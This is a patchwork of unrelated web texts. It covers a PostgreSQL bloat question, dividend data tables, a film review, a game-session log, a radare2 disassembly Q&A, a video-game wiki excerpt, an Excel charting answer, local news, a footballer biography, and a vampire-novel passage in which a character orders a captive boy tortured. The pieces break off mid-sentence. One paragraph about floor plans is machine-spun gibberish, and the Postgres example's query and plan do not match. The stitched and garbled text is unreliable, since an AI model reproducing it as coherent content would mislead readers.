Here's the problem: Every week, the database gets so bloated that I have to interrupt the website, dump the database to a .sql file, delete the database, and re-import the dump. The fresh database has a size of around 2 GB, and the bloated database can reach 80 - 100 GB before I have to dump + re-import. The WAL directory (pg_xlog) never goes over 1.1 GB so I don't think WAL has any issues.
Here's a typical query:
> EXPLAIN ANALYZE SELECT COUNT(*) FROM products WHERE categoryid = 4;
QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------------
Bitmap Heap Scan on products (cost=6405.66..228100.41 rows=63642 width=1193) (actual time=6.100..26.484 rows=8913 loops=1)
Recheck Cond: (categoryid = 132)
Heap Blocks: exact=6802
-> Bitmap Index Scan on products_categoryid_idx (cost=0.00..6389.74 rows=63642 width=0) (actual time=3.742..3.742 rows=8917 loops=1)
Index Cond: (categoryid = 132)
Heap Fetches: 900
Planning time: 2.832 ms
Execution time: 27.267 ms
(7 rows)
In the above example, the "heap fetches" number increases as time pass by - at re-import time, the "heap fetches" is around 250,000 - 300,000. Needless to say, queries get slower and slower, and CPU usage increases.
Here's the weird thing in the logs with the vacuum happens:
2017-02-26 17:54:15.781 UTC > LOG: automatic vacuum of table "my_db.public.products": index scans: 1
pages: 0 removed, 2419432 remain, 1 skipped due to pins, 2173455 skipped frozen
tuples: 170090 removed, 2553063 remain, 334 are dead but not yet removable
buffer usage: 2871815 hits, 842794 misses, 131788 dirtied
avg read rate: 42.389 MB/s, avg write rate: 6.628 MB/s
system usage: CPU 6.05s/9.79u sec elapsed 155.33 sec
We can see the "skipped frozen" in the logs above, which indicated that it's not really getting vacuumed. Despite my research, I couldn't find anything about "frozen pages".
I'm unable to come with a solution fpr this. Here's my config (obviously, I'm |
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] | Q $2.29
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/B Price/Sales Payout Ratio BLK BlackRock Inc. $12.52 2.48% $25.52 19.7 2.55 5.923 49.06% BAC Bank of America Corporation $0.48 1.618% $2.2 13.7 1.25 3.944 21.818% AMG Affiliated Managers Group Inc. $1.2 0.804% $15.34 9.7 2.23 4.558 7.823% LM Legg Mason Inc. $1.12 3.343% $2.87 11.62 0.75 1.226 39.024% AB AllianceBernstein Holding L.P. Units $2.92 9.733% $2.57 11.63 1.87 N/A 113.619% IVZ Invesco Ltd $1.2 4.671% $2.75 9.26 1.21 2.675 43.636% WETF WisdomTree Investments Inc. $0.12 1.306% $0.27 33.67 7.05 7.976 44.444%
National Retail Properties (NNN)
Industry: REITs
Sector: Real Estate
National Retail Properties Inc is a real estate investment trust that invests in and develops properties throughout the United States. Most of the company's properties are located in the Midwest, South, and Southeast of the United States.
National Retail Properties has declared quarterly dividend of $0.5000 (+5.2630% increase). It goes ex-dividend on 07-30-2018 and is payable on 08-15-2018. National Retail Properties has 8 years of consecutive dividend increase.
Price $44.7 Market Cap $6.877 billion Annualized Dividend $2 Yield 4.474% EPS(TTM) $2.6 Payout Ratio 76.923% 50-day moving average $42.142 200-day moving average $40.053 P/E Ratio 17.12 52 week range $36.25 - $45.11
2-Year Dividend History
DeclaredDate Ex-DividendDate RecordDate PayableDate Qualified Amount 2018-01-16 2018-01-30 2018-01-31 2018-02-15 $0.475 2017-10-16 2017-10-30 2017-10-31 2017-11-15 $0.475 2017-07-14 2017-07-27 2017-07-31 2017-08-15 $0.475 2017-04-13 2017-04-26 2017-04-28 2017-05-15 $0.455 2017-01-17 2017-01-27 2017-01-31 2017-02-15 $0.455 2016-10-14 2016-10-27 2016-10-31 2016-11-15 N $0.455 2016-07-15 2016-07-27 2016-07-29 2016-08-15 N $0.455 2016-04-15 2016-04-27 2016-04-29 2016-05-16 N $0.435
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/B Price/Sales Payout Ratio NNN National Retail Properties $2 4.474% $2.6 17.12 2.08 14.908 76.923% EGP EastGroup Properties Inc. $2.56 2.673% $4.43 20.92 4.28 15.617 57.788% WY Weyerhaeuser Company $1.28 3.59% $1.29 27.04 2.97 4.795 99.225% HCP HCP Inc. $1.48 5.688% $1.92 13.53 2.3 9.612 77.083% EPR EPR Properties $4.32 6.492% $5.1 12.94 1.69 9.801 84.706%
Morgan Stanley (MS)
Industry: Brokers & Exchanges
Sector: Financial Services
Morgan Stanley is a global investment bank. The company has institutional securities, wealth-management, and asset-management segments.
Morgan Stanley has declared quarterly dividend of $0.3000 (+20.0000% increase). It goes ex-dividend on 07-30-2018 and is payable on 08-15-2018. Morgan Stanley has 4 years of consecutive dividend increase.
Price $49.85 Market Cap $88.247 billion Annualized Dividend $1.2 Yield 2.407% EPS(TTM) $4.52 Payout Ratio 26.549% 50-day moving average $50.963 200-day moving average $52.132 P/E Ratio 11.12 52 week range $43.84 - $59.38
2-Year Dividend History
DeclaredDate Ex-DividendDate RecordDate PayableDate Qualified Amount 2018-01-18 2018-01-30 2018-01-31 2018-02-15 $0.25 2017-10-17 2017-10-30 2017-10-31 2017-11-15 $0.25 2017-07-19 2017-07-27 2017-07-31 2017-08-15 Q $0.25 2017-04-19 2017-04-27 2017-05-01 2017-05-15 Q $0.2 2017-01-17 2017-01-27 2017-01-31 2017-02-15 Q $0.2 2016-10-19 2016-10-27 2016-10-31 2016-11-15 Q $0.2 2016-07-20 2016-07-27 2016-07-29 2016-08-15 Q $0.2 2016-04-18 2016-04-27 2016-04-29 2016-05-13 Q $0.15
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/B Price/Sales Payout Ratio MS Morgan Stanley $1.2 2.407% $4.52 11.12 1.29 2.702 26.549% BCS Barclays PLC $0 0% $0.82 12.15 0.51 0.022 0.0% GS Goldman Sachs Group Inc. (The) $3.2 1.394% $23.63 9.8 1.21 1.923 13.542% BAC Bank of America Corporation $0.48 1.618% $2.2 13.7 1.25 3.944 21.818% DB Deutsche Bank AG $0.11 0.915% $-0.85 -14.15 0.32 0.868 N/A JPM JP Morgan Chase & Co. $2.24 2.038% $8.18 13.6 1.63 3.053 27.384% MUFG Mitsubishi UFJ Financial Group Inc. $0.181 3.082% $0.73 8.12 0.58 1.738 24.744% C Citigroup Inc. $1.28 1.855% $6 11.54 0.96 1.896 21.333%
Western Gas Partners LP Limited Partner Interests (WES)
Industry: Oil & Gas - Midstream
Sector: Energy
Western Gas Partners, LP is engaged in gathering, processing, compressing, treating and transporting natural gas, condensate, NGLs and crude oil for its subsidiaries as well as third-party producers and customers.
Western Gas Partners has declared quarterly dividend of $0.9500 (+1.6040% increase). It goes ex-dividend on 07-31-2018 and is payable on 08-13-2018. Western Gas Partners has 10 years of consecutive dividend increase.
Price $50.68 Market Cap $8.418 billion Annualized Dividend $3.8 Yield 7.498% EPS(TTM) $1.64 Payout Ratio 231.707% 50-day moving average $50.306 200-day moving average $47.237 P/E Ratio 30.37 52 week range $40.44 - $54.4
2-Year Dividend History
DeclaredDate Ex-DividendDate RecordDate PayableDate Qualified Amount 2018-01-19 2018-01-31 2018-02-01 2018-02-13 $0.92 2017-10-12 2017-11-01 2017-11-02 2017-11-13 $0.905 2017-07-18 2017-07-27 2017-07-31 2017-08-11 $0.89 2017-04-13 2017-04-27 2017-05-01 2017-05-12 $0.875 2017-01-17 2017-01-31 2017-02-02 2017-02-13 $0.86 2016-10-18 2016-10-27 2016-10-31 2016-11-10 $0.845 2016-07-20 2016-07-28 2016-08-01 2016-08-12 $0.83 2016-04-22 2016-04-28 2016-05-02 2016-05-13 $0.815
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/ |
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] | space as small as your lounge, storage, or basement.
If you are not cautious with this you would possibly suppose your tag is reading the wall finish when it’s actually pointing to the ground. I too would love to see a ground plan for Vincent Astor’s penthouse at 120 East End Ave. Also, most tiny properties can only actually fit one or two individuals on the most so your market inhabitants can be restricted. Or you like to first know what price estimates for the constructing plans will probably be. You’ll definitely need to be ready earlier than investing within the buy of full construction drawing blueprints.Retro Snapshot: "The Wicker Man" (1973)
Suck it Nick Cage! There is only one “The Wicker Man”. The one shot in 1973. The one that features Britt Ekland humping walls in her birthday suit, Edward Woodward as the stodgiest puritanical git you’ll ever see, Christopher Lee as a hippie Lord in a smoking jacket and the late, great Ingrid Pitt (seen above). Though it deals with a remote pagan community prepping for an unforgettable Mayday celebration, it seems somewhat appropriate to give it a look on the heels of the vernal equinox as well.“The Wicker Man” is a slow burn by today’s standards. What makes it work is the way that director Robin Hardy contrasts the sensibilities of the ribald pagan colony with those of Woodward’s dour, sanctimonious cop. By doing so he is able to allegorically capture the culture clash that was happening throughout the western world at the time, in a way that is both profound and delightful.
Look, I don’t hate Nick Cage, but even with tax problems you don’t sign on with Neil LaBute to remake a film that is already a perfect symphony of strangeness. Although the fact that he did so at least makes for some consistency now that I’ve learned he and Tim Burton have been attached to the “Clockwork Orange” remake. A reimagining that will see Cage re-shaving his “Valley Girl” chest-vagina (unfortunately seen below) to play the part of young Alex….Kidding, Go watch “The Wicker Man”.Saturday, 28 July 2018
DCC Campaign Update: That's Going to be the Title of the Blog
The PCs just managed to defeat Zozzsz the demon prince, and seal the gateway to the Nether Regions which was the last thing stopping them from using the Sunstaff to reach the Crown of Creation. Then they teleported back to the Sun to have a brief rest before proceeding with their final move to stop Sezrekhan.
Now:
-After one night of rest, the King of Elfland contacts... Vizi. By mistake, thinking he's the Vegomagus.
"Vegomagus, it is I, the King of Elfland!"
"No, this is Vizi."
"No, I'm the King of Elfland."
"Huh? No I'm Vizi."
-"One of them is high as fuck, the other has Alzheimer's. This could go on for some time."
-"I'm calling you, Vegomagus, because now you must find me the Comfy Slippers!"
"I'm not the Vegomagus!"
"You're not?"
"NO. He looks like shit, and I have these cool glasses, see?"
"Hmm. That's true."
-The King of Elfland finally tells the Vegomagus that he's sending him to the last known location of the Comfy Slippers, which are not just any comfy slippers as Vegomagus had assumed, but apparently a specific magical item.
"I will send your friends to aid you."
"He has friends?"
"Well, I'll send cool dude and this other guy."
-The Vegomagus, Vizi and Catboy find themselves magically transported through space and time.
They rematerialize in what looks like an early-20th-century-tech city with a film-noir kind of feel to it. And from what they see, the city is populated by rat-people. Rat-people who dress up in 1930s styles, but wear no shoes.
"They all have rat feet!"
"I have cat feet."
"I have hooves."
"Yes yes, you're both freaks."
-"Let's talk to someone. Excuse me sir, do you know where we could find some kind of comfy slippers?"
"Say, what are you wearing there, buddy? Is that some kind of halconlord cosplay?"
"I am a halconlord!"
"Hah, you're really getting into the role."
"You know about the Halconlords?"
"Only what I remember from school. Long ago they tried to conquer this whole continent but they were defeated when their master was imprisoned. They don't exist anymore."
"NOOOOO!"
"We're in the future!"
-"Say, you fellas aren't from around here are ya?"
"No. Um.. we're tourists. We got lost, when our tour guide dumped us."
"Darn it, in Rat City you gotta watch out for those con men!"
"Yeah, because they're rats!"
"What do you mean by that, bub?"
"Oh, um. nothing. Sorry."
-"Sorry guys, I'm a cat. I'm racist against rats."
-"So this city full of rats is called Rat City. You guys are really unimaginative."
"Can we try not to totally fuck this place up?"
-"Boylord I swear I'll send you to Elfland if you don't shut up."
-The rat they were talking to doesn't know anything about Comfy Slippers, but suggests that they may be able to buy some at Ratowski's Department Store.
-"Hey Vizi, after I rested I leveled up, and now I learned a spell that can do a ton of fire damage."
"I can do that too, it's called a grenade."
"Yeah, but my spell comes from my hands."
"Yeah, my grenade too."
"Yeah, well, my spell will cause me pain every time I cast it..."
"This grenade could cause you pain too."
-"No one cares that we're heavily armed because they think we're in costumes."
"Say, are you guys filming one of those Rat Rogers talkies or something?"
"I really hate this city."
-They get to Ratoski's, but it has no comfy slippers at all.
"You fellas should try to check out the stores in Little Humantown, by the port."
-They hail a cab to get to Little Humantown, and their driver is a Boatswine.
"What are you doing here."
"We're probably going to fuck everything up."
"Wait, are you revolutionaries?"
"Um.. yes."
"Comrades! You are not alone here. We have a meeting tonight. Let me give you the address."
"Oh um, thanks, comrade!"
-They get to the ethnic neighborhood of Little Humantown. They tour several human-clothing stores, and Vizi buys some nice slippers, but not the Comfy Slippers.
"You know, things are going fairly well. I was expecting things to be going really badly by now."
"Yeah, nothing bad is going to happen on this trip!"
"Stop saying that! This is your last warning, boylord."
-The PCs stop at a diner to eat, and they run into a friendly-looking cleric. The cleric is a bit distressed at the Vegomagus' spell-burned weakened state.
"What happened to you, my boy?"
"He masturbated too hard."
-Boylord starts to talk to the cleric, and between his nuttiness, the Vegomagus' clearly ill state and their bizarre form of dress, the Cleric decides to make a phone call. Pretty soon, the Looney Van is driving up to the diner.
"Damn it, the cleric sold us out!"
"One of the guys coming out of the van has a stick with a little net on it."
-"Guys, we could get away if I cast a spell that will Call the Outer Dark"
"NO! That'll just make things worse. Let's go with them and see what happens."
-They're taken along in the Looney Van to the Our Lady of Perpetual Madness Insane Asylum, on the outskirts of town.
-At the entrance, some tense negotiations happen as the staff wants the PCs to disarm. Finally, they agree that Boylord will disarm and go in for a psychological evaluation, while the other two wait at the entry hall.
"OK, now while your friend is being assessed, why don't you two put your weapons into the box?"
"No. That's not the deal."
"Come on you nutbag, don't make me force you..."
"Screw it, I shoot him."
-All hell breaks loose when Vizi murders one of the orderlies and they realize that their weapons aren't just props.
"I hate these people. I'm going to cast color spray to curse the whole city with winter. It what they deserve for calling me a dangerous |
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] | =dockerhub
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During the season of giving! At Ser Familia's our mission is simple, to strengthen, revitalize, and equip Latino youth, couples, parents and families through educational programs that teach improved life, leadership and communication skills, empowering participants to thrive and enjoy a healthy family environment. Be the impact this Holiday! #SerFamilia ... See MoreSee LessHe faces difficulty in replacing thousands of rupee notes ending with 786
Gaurav Taneja working with Haryana education department had collecte thousands of rupee notes ending with 786. Years ago he had found a note ending with 786 on the road. After this luck smiled on him and he started getting lucky strokes one after another. Due to this he started collecting notes ending with 786. During last 10 years, he has collected such notes.Q:
Recursive traversal disassembling with Radare2?
I am trying the recursive traversal disassembler of the radare2 tool. But, I cannot use it properly.
First, according to the radare2 manual, we can use recursive traversal disassembler by using the pdr:
[0x00404890]> pd?
Usage: pd[f|i|l] [len] @ [addr]
pda : disassemble all possible opcodes (byte per byte)
pdj : disassemble to json
pdb : disassemble basic block
pdr : recursive disassemble across the function graph
pdf : disassemble function
pdi : like 'pi', with offset and bytes
pdl : show instruction sizes
But I always get this error message:
Cannot find function at 0x004028c0
Here is a full session of radare2 on the ls command with, first, a linear sweep disassembly and, then, an attempt of recursive traversal disassembly:
$> radare2 /bin/ls
syntax error: error in error handling
syntax error: error in error handling
[0x00404890]> pd@main
;-- main:
0x004028c0 4157 push r15
0x004028c2 4156 push r14
0x004028c4 4155 push r13
0x004028c6 4154 push r12
0x004028c8 55 push rbp
0x004028c9 4889f5 mov rbp, rsi
0x004028cc 53 push rbx
0x004028cd 89fb mov ebx, edi
0x004028cf 4881ec88030. sub rsp, 0x388
...
0x00402dff 8b0567772100 mov eax, [rip+0x217767] ; 0x0040a56c
0x00402e05 488b0d64772. mov rcx, [rip+0x217764] ; 0x0040a570
0x00402e0c 83f801 cmp eax, 0x1
0x00402e0f 0f84de0d0000 jz 0x403bf3
0x00402e15 83f802 cmp eax, 0x2
0x00402e18 be0f384100 mov esi, 0x41380f
0x00402e1d b80e384100 mov eax, str.vdir
0x00402e22 480f45f0 cmovnz rsi, rax
0x00402e26 488b3de3772. mov rdi, [rip+0x2177e3] ; 0x0040a610
0x00402e2d 48c70424000. mov qword [rsp], 0x0
0x00402e35 41b9bd384100 mov r9d, str.DavidMacKenzie
0x00402e3b 41b8cd384100 mov r8d, str.RichardM.Stallman
[0x00404890]> pdr@main
Cannot find function at 0x004028c0
In fact, I strongly suppose that I am missing a step here. It seems that we should first build the call graph of the program, but I didn't manage to find how to do it (I obviously have missed some documentation somewhere, sorry for that!).
So, if somebody can give me a hint about it, I would be pleased !
A:
In fact, you should first run a 'function' analysis of the program. To better understand this type a?:
[0x00404890]> a?
Usage: a[?adfFghoprsx]
a8 [hexpairs] ; analyze bytes
aa ; analyze all (fcns + bbs)
ad ; analyze data trampoline (wip)
ad [from] [to] ; analyze data pointers to (from-to)
ae [expr] ; analyze opcode eval expression (see ao)
af[bcsl?+-*] ; analyze Functions
aF ; same as above, but using graph.depth=1
ag[?acgdlf] ; output Graphviz code
ah[?lba-] ; analysis hints (force opcode size, ...)
ao[e?] [len] ; analyze Opcodes (or emulate it)
ap ; find and analyze function preludes
ar[?ld-*] ; manage refs/xrefs
as [num] ; analyze syscall using dbg.reg
at[trd+-*?] [.] ; analyze execution Traces
ax[-cCd] [f] [t] ; manage code/call/data xrefs
Examples:
f ts @ `S*~text:0[3]`; f t @ section..text
f ds @ `S*~data:0[3]`; f d @ section..data
.ad t t+ts @ d:ds
And, more precisely with an af?:
[0x00404890]> af?
Usage: af[?+-l*]
af @ [addr] ; Analyze functions (start at addr)
af+ addr size name [type] [diff] ; Add function
af- [addr] ; Clean all function analysis data (or function at addr)
afb 16 ; set current function as thumb
afbb fcnaddr addr size name [type] [diff] ; Add bb to function @ fcnaddr
afl[*] [fcn name] ; List functions (addr, size, bbs, name)
afi [fcn name] ; Show function(s) information (verbose afl)
afr name [addr] ; Rename name for function at address (change flag too)
afs [addr] [fcnsign] ; Get/set function signature at current address
af[aAv][?] [arg] ; Manipulate args, fastargs and variables in function
afc @ [addr] ; Calculate the Cyclomatic Complexity (starting at addr)
af* ; Output radare commands
Then, start a 'functions' analysis beginning at main:
[0x00404890]> af@main
Then, you can run a recursive traversal disassembly:
[0x00404890]> pdr@main
/ (fcn) fcn.004028c0 7460
| ;-- main:
| 0x004028c0 4157 push r15
| 0x004028c2 4156 push r14
| 0x004028c4 4155 push r13
| 0x004028c6 4154 push r12
| 0x004028c8 55 push rbp
| 0x004028c9 4889f5 mov rbp, rsi
| 0x004028cc 53 push rbx
| 0x004028cd 89fb mov ebx, edi
| 0x004028cf 4881ec88030. sub rsp, 0x388
| 0x004028d6 488b3e mov rdi, [rsi]
| 0x004028d9 64488b04252. mov rax, [fs:0x28]
| 0x004028e2 48898424780. mov [rsp+0x378], rax
| 0x004028ea 31c0 xor eax, eax
| 0x004028ec e8afad0000 call 0x40d6a0 ; (fcn.0040d69f)
| fcn.0040d69f(unk, unk, unk, unk, unk, unk)
| |
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] | 2001, Serious Sam 2 received less praising reviews. The game's average review is a 75% according to GameRankings. Its highest mark by mainstream media was a 4.5/5.0 from Computer Gaming World, though most reviews were in the 70% or 80% range. Other notable reviews include GamePro rating it 4/5 and GameSpy giving it a 3.5/5 (Good). IGN awarded Serious Sam 2 an 8.2/10, summing up the sentiments of many of other publications' reviews:
One of the main criticisms of the game was that it was a lot less "serious" and a lot more "cartoony" than The First Encounter and The Second Encounter. An over-emphasis on reflective surfaces and oddly out of place pixel shading were perceived as being more about showing off the capabilities of the engine than about defining the atmosphere of the game. Lighter colors and a more upbeat soundtrack made the game feel less grounded in reality, contrary to the realistic Egyptian tombs and Mayan pyramids of the earlier games, and players complained that while the weapons of the previous games seemed to be massive and powerful, those in Serious Sam 2'' were less so.
References
External links
Category:2005 video games
Category:Cooperative video games
Category:First-person shooters
Category:Multiplayer online games
Category:Serious Sam
Category:Video game sequels
Category:Video games developed in Croatia
Category:Windows games
Category:Xbox games
Category:Devolver Digital games
Category:Video games set in China
Category:Video games set in Europe
Category:Multiplayer and single-player video gamesQ:
Excel line chart doesn't look right
I need to create a line chart from some tabular data. The chart should show how weather (e.g. temperature) changes with time. But for some reason the result looks strange (I have attached a picture). Also, the chart displays hour part of the datetime as 0.
Could you please help. Thanks.
Addition:
The time is in format Date of type "3/14/01 13:30"
I also tried a Scatter, and the result looks better, but datetime is weird, and it is missing hours:
A:
Plotted as Scatter with Smooth Lines:
Format the x-axis Major unit to Fixed 0.125 to show 3-hourly intervals (any more detail and the chart would be very cluttered).
@Jon Peltier (who knows all there is to now about Excel charts and MORE) has made the point that smooth lines may be misleading. (Inadvertently I provided an example of just that here!) So a slightly simplified version with straight lines for the sake of a better answer for the OP and also for comparison:
with straight and smooth overlaid:
Woman pleads not guilty to 3 murder counts
Cris Ritchie — Editor
November 6, 2013
HAZARD – An April trial date has been set for a Breathitt County woman charged with three counts of murder following a two-vehicle crash this past summer.
Billie J. Caudill, 30, of Whick, appeared in Perry Circuit Court on Oct. 30 for arraignment where she pleaded not guilty to three counts of murder, DUI third offense, and driving on a suspended or revoked license. She was indicted on the charges on Oct. 25.
Caudill was behind the wheel of a Ford Contour on July 3 when police said she crossed the centerline on Highway 15 and collided with a Chevrolet S-10, which was occupied by William Belcher and wife Lillie, who both died from injuries sustained in the crash. Also pronounced dead at the scene was Caudill’s husband, 33-year-old Danny Caudill, who was a passenger in her vehicle.
Commonwealth’s Attorney John Hansen said test results of samples taken after the crash show Billie Caudill was intoxicated at the time, which resulted in the grand jury’s indictment. He added his office is also looking into the possibility that, because the case involves multiple deaths, whether or not the death penalty could be an option. Even so, Hansen indicated he likely would not seek the death penalty.
“We indicted as wanton murder, that’s a lesser degree than intentional,” he said. “The fact that there are aggravating circumstances such as multiple deaths puts the death penalty into question, but I believe that based on the wantonness of the actions by the defendant, I don’t think my office would serve anyone’s purpose by seeking the death penalty on a wanton-type crime.”
Billie Caudill is due in court again for a pretrial conference on Feb. 26, 2014, and is currently set for trial on April 14.Ben Hirst
Benjamin Matthew Hirst (born 21 October 1997) is an English former professional footballer who played as a striker.
Hirst started his career in York City's youth system, making his first-team debut in 2014. He had a loan spell with Northern Premier League Division One North club Scarborough Athletic in 2015, before being released by York in 2016. Hirst had a short with Pickering Town in the Northern Counties East League Premier Division, before retiring from football to pursue another career.
Career
Born in York, North Yorkshire, Hirst played for York & District Schoolboys and was named their Most Valuable Player at an end of season awards ceremony in June 2013. He later joined York City's youth system and became a first-year scholar in the summer of 2014. He made his first-team debut aged 16 as a 73rd-minute substitute for Ryan Jarvis in a 1–1 away draw with Tranmere Rovers in the opening match of the 2014–15 season on 9 August 2014. Having made five first-team appearances, he signed a professional contract with York in November 2014, tying him to the club until the summer of 2016.
Hirst joined Northern Premier League Division One North club Scarborough Athletic on a one-month loan on 29 September 2015, with his chances at York limited. He made his debut that day, as a substitute in a 4–2 away defeat to Clitheroe. He returned to York in November 2015, having made four appearances for Scarborough. Hirst was released by York when his contract expired at the end of 2015–16.
After a successful trial, Hirst joined Northern Counties East League Premier Division club Pickering Town in the summer of 2016. In August 2016, he retired from football after deciding to focus on his carpet cleaning business.
Career statistics
References
External links
Category:1997 births
Category:Living people
Category:Sportspeople from York
Category:Footballers from North Yorkshire
Category:English footballers
Category:Association football forwards
Category:York City F.C. players
Category:Scarborough Athletic F.C. players
Category:Pickering Town F.C. players
Category:English Football League players
Category:Northern Premier League playersBattle Creek City Commission OKs ethics code changes
Battle Creek city commissioners now have a policy to follow if any of them are suspected of violating their ethics code.
Commissioners voted 8-1 Tuesday to approve ordinance changes that revise their ethics code, which is signed at the beginning of their terms. Commissioner Jeff Domenico cast the dissenting vote.
Under the changes, the commission is able to find one of its members in violation of the ethics code through a majority vote after a public hearing. At least three commissioners must call for the hearing.
It was the final step in a two-vote process to approve the ordinance, which goes into effect in 10 days. At the last commission meeting, Domenico cast a vote against introducing the changes, citing concerns over a time limit on comments from the commissioner suspected of violating the code and no ability to cross-examine witnesses.
If a commissioner is found to have violated the code, the rest of the commission will take a vote to decide what sanctions, if any, will be imposed. Possible punishments include reprimand, formal censure, loss of committee assignment and budget or travel restrictions. There are three levels of sanctions, based on the violation and whether subsequent violations occur.
The four-person Ethics and Meeting Rules Committee has worked on the changes for months. Though the ethics code has been in place since 2004, there has not been a detailed policy on how to handle alleged violations until now.
No formal accusations of violations have been made since the code was implemented, but earlier this year then-Mayor Dave Walters sat down with Domenico to discuss emails in which Domenico criticized the police chief search and questioned the integrity of two city employees.
Call Jennifer Bowman at 966-0589. Follow her on Twitter: @jenn_bowman
In other business
Also Tuesday, commissioners:
•Began a four-month pilot program changing public-comment guidelines for the resolution portion of the commission’s meeting agenda. Domenico cast the lone dissenting vote.
•Adopted ordinance changes to allow sidewalk signs in the Old Lakeview area.
•Approved a special use permit for a licensed group daycare home at 387 Waubascon Road.
•Authorized a resolution to approve funding for designing the rehabilitation of a W.K. Kellogg Airport runway. Of the $266,000 cost, the city will pay $13,300 while the rest will be covered by state and federal grants.package com.tencent.mm.plugin.sns.h |
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] | a telepathic line to others without opening himself to intrusion. So that meant the boy wasn't frantically attempting to send messages to others. And maybe he didn't know how. The vampires who brought him up might have taught him many things, but not how to be a human psychic.
Rhoshamandes didn't much believe in human telepathy anyway. But he had to stop thinking about this! He had to stop thinking about all the different ways this spectacular gambit might fail, and it strongly occurred to him that he ought to call Trinity Gate now and return the boy and throw himself on the mercy of the gathering blood drinkers!
"Are you insane," said the Voice to him. "Are you simply out of your mind? You do that and they'll destroy you. What in the world would prompt them to have the slightest mercy? Since when do blood drinkers have honor?"
"Well, they had better have some or this plan simply isn't going to work," said Rhosh.
Benedict knew Rhosh was talking aloud to the Voice. But he remained attentive, desperate to know what was happening.
"I'll tell you this much on my honor," said Rhosh aloud for the benefit of Benedict as well as the Voice. "The very first thing I will do when I have the power is destroy that little Bedouin! I'm going to take that noisy, impudent little monster in my hands and squeeze the life and the blood and brains out of him. I'm going to drain him dry, and tear his remains into shreds. And I'll do that in the presence of his blessed Sybelle and his blessed Armand and his blessed maker, Marius."
"And just how," asked Benedict gently, "are you going to seize and maintain power?"
"It's pointless bothering with that question," said the Voice. "I've explained myself to your starry-eyed acolyte over and over. When you have me inside you, no one can harm you! You will be as untouchable as Mekare is now."
Mekare.
Without Benedict, would Rhosh have ever dared to attempt moving her? Again Benedict had taken the lead.
The night after the killing of Maharet, as Rhosh called his mortal agents to arrange for a domicile in North America, Benedict had gone off into the jungle to find Mekare a tender young female victim from one of the naked tribes. Benedict had put this frightened and utterly malleable woman into Mekare's arms, the whole while whispering softly to Mekare that she should drink, that she needed the strength, that they had a journey to take, and he'd sat there patiently waiting till the silent monster had slowly wakened to the smell of the blood, slowly lifted her left hand as though it were an unbearable weight and laid it on the breast of the prone victim.
With lightning speed, she'd closed her teeth on the sweet little girl's neck, drinking slowly until the heart was stopped, and could pump no more blood into her. Even after that she drank, her powerful heart drawing the blood until the victim was pale and shriveling. Then she'd sat back, eyes empty as always, her pink tongue licking her pretty lips slowly and efficiently. There wasn't the tiniest spark of reason in her.
And it was Benedict who suggested that they wrap her, that they find the finest coverings or garments that they could and that they wrap her as if she were a mummy in those garments and then they might carry her north safely to accomplish their purpose. "Remember, Marius wrapped the King and Queen," he'd said, "before he moved them from Egypt." Yes, well, if Marius had been telling the truth in that old story.
It had worked. Her fine green robe of interwoven silk and cotton with its trimming of gold and jewels had been spotless, no need to change it. Only wrap her gently in fresh-washed sheets and blankets, slowly, slowly, binding her gently, whispering to her the whole while. It seemed she'd welcomed the soft silk scarf blindfold. Or she hadn't cared. She hadn't cared anymore about anything. She was way past caring. Way past sensing that anything around her was amiss. Oh, that we become such monsters, it was unthinkable. It made Rhosh shudder.
Only once had there been a bad moment, an alarming moment. Benedict after binding her head securely in silk had backed off suddenly, almost stumbling in his haste to get away from her. He stood staring at her.
"What is it!" Rhosh had demanded. The panic was contagious. "Tell me."
"I saw something," Benedict whispered. "I saw something I think that she is seeing."
"You're imagining it," said Rhosh. "She sees nothing. Go on, finish."
What had that been, that thing that Benedict had seen?
Rhosh didn't want to know, didn't dare to want to know. But he couldn't stop wondering.
When they'd had her securely bound like a dead one in a shroud, it had been possible then to leave that horrid place, that awful place that had been Maharet's hearth and sanctum. Rhosh had had enough of looking through the storerooms, of looking at books and parchments and ancient keepsakes, enough, the desks, the computers, all of it. It was tainted with death. He would have taken the jewels perhaps and the gold, but he didn't need these things, and he couldn't bear to touch them. It was sacrilege somehow, stealing the personal treasures of the dead. He'd been unable to reason himself out of it.
When they were at the edge of the garden enclosure, he'd turned back, pulled the pin from the grenade he'd brought with him, and hurled it into the lighted doorway. The explosion was immediate. The flames raged through the buildings.
Then they had brought the silent burden to these shores, to a planned location obtained through the mortal attorneys with the least amount of delay, and put her to rest in a cool darkened cellar with its small windows soon boarded up by the ever-resourceful Benedict. Only the heartbeat of that bundled body gave evidence of life.
Benedict stood beside him at the railing of the deck. The wind off the Atlantic was deliciously cold, not as fierce as the winds of the northern seas, but bracing, clean and good.
"Well, I understand, you'll be untouchable, but how can you maintain power over them, enough, say, to kill Benji Mahmoud before their very eyes?"
"What are they going to do about it?" asked Rhosh. "And suppose I threaten them that I'll lie in the sun at dawn, as does happen to be my custom, by the way, and can be no more—unless I and they want the younger ones to be devoured by fire when my body, the Source Body, suffers that insult?"
"Would I die," asked Benedict, "if you did that? I mean once you have the Sacred Core?"
"Yes, but I'd never do it!" Rhosh whispered. "Don't you see?"
"Then what good is the threat? If they know you love me—?"
"But they don't know," said the Voice. "That's the thing. They don't know. They know almost nothing about you!" The Voice was fuming again. "And you can strengthen your friend with your blood, strengthen him to where he suffers from such a burning but not fatally! Why have you not given him more of your blood over the centuries? And then of course your blood will be the Source Blood and the strongest that there is, and you will feel the engines of power grinding in you with a new efficiency and fury—."
"Leave this in my hands," said Rhosh to Benedict. "And no, you might not at all die, were I to make good on my threat. Burn yes, but die no. And I will give you my blood." He felt like a fool suddenly obeying the Voice's orders.
"But you could never make another blood drinker," said Benedict, "because if you did you wouldn't be able to make the threat..."
"Stop talking," said Rhosh. "I have no choice now, do I, but to follow this through! I must get Fareed to put the Sacred Core into me. Never mind all the rest. Just remember the instructions I've given you. Be ready at any moment for my phone call."
"I am," said Benedict.
"And don't, whatever you do, don't call me. Keep the phone ready. And when I call and instruct you to begin torturing the boy—that is, if I have to do that—then you must do it and they must be able to hear his screams through the phone."
"Very well!" said Benedict disgustedly. "But you do realize I've never tortured a human being before."
"Oh, come on, it won't be that difficult! Look at what you've done already. You've taken to this, you know you have. You'll figure a way to make him scream. Look, it's simple. Break his fingers, one by one. There are ten of them."
Benedict sighed.
